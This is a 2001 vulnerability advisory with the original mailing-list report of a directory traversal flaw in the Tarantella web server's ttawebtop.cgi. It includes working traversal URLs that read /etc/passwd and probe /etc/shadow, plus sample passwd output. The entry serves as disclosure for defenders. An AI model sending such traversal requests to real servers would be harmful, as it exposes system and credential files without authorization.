Tarantella Application Web Server Discloses Files on the Server to Remote Users
|
Date: Jun 19 2001 02:29 (UTC/GMT)
|
Impact: Disclosure of system information, Disclosure of user information
|
Exploit Included: Yes
|
Description: A vulnerability has been reported in the Tarantella application server that lets remote users obtain files located anywhere on the server.
The vunerability reportedly resides in the ttawebtop.cgi module.
If a remote user issues the following type of example URL, the
server will return the world-readable password file:
http://[targethost]/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../..
/etc/passwd
If a remote user attempts to retrieve a file that is not readable by the web server, it will return a 'file missing'
error message, as shown below:
http://[targethost]/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/shadow
File
missing
The following file could not be found:
/tarantella/../../../../../../../../../../../../../../../etc/shadow
The vendor has reportedly been notified.
|
Impact: A remote user can obtain world-readable files located anywhere from the server.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.tarantella.com/ (Links to External Site)
|
Cause: Access control error, Input validation error
|
Underlying OS: Linux (Caldera), Linux (Red Hat), Linux (SuSE), Linux (Turbo Linux), UNIX (AIX), UNIX (HP/UX), UNIX (SCO), UNIX (Solaris - SunOS), Unix (Tru64)
|
Reported By: KF <dotslash@snosoft.com>
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: Mon, 18 Jun 2001 13:18:08 -0400
From: KF <dotslash@snosoft.com>
Subject: SCO Tarantella Remote file read via ttawebtop.cgi
|
SCO has been notified of this issue.
-------- Original Message --------
Subject: SCO Tarantella Remote file read via ttawebtop.cgi
Date: Mon, 18 Jun 2001 13:06:41 -0400
From: KF <dotslash@snosoft.com>
To: recon@snosoft.com
http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../
../../../etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/
...
No perms to shadow...
http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../
../../../etc/shadow
File missing
The following file could not be found:
/tarantella/../../../../../../../../../../../../../../../etc/shadow
Please give this information to a Tarantella Administrator.
-KF
|
|
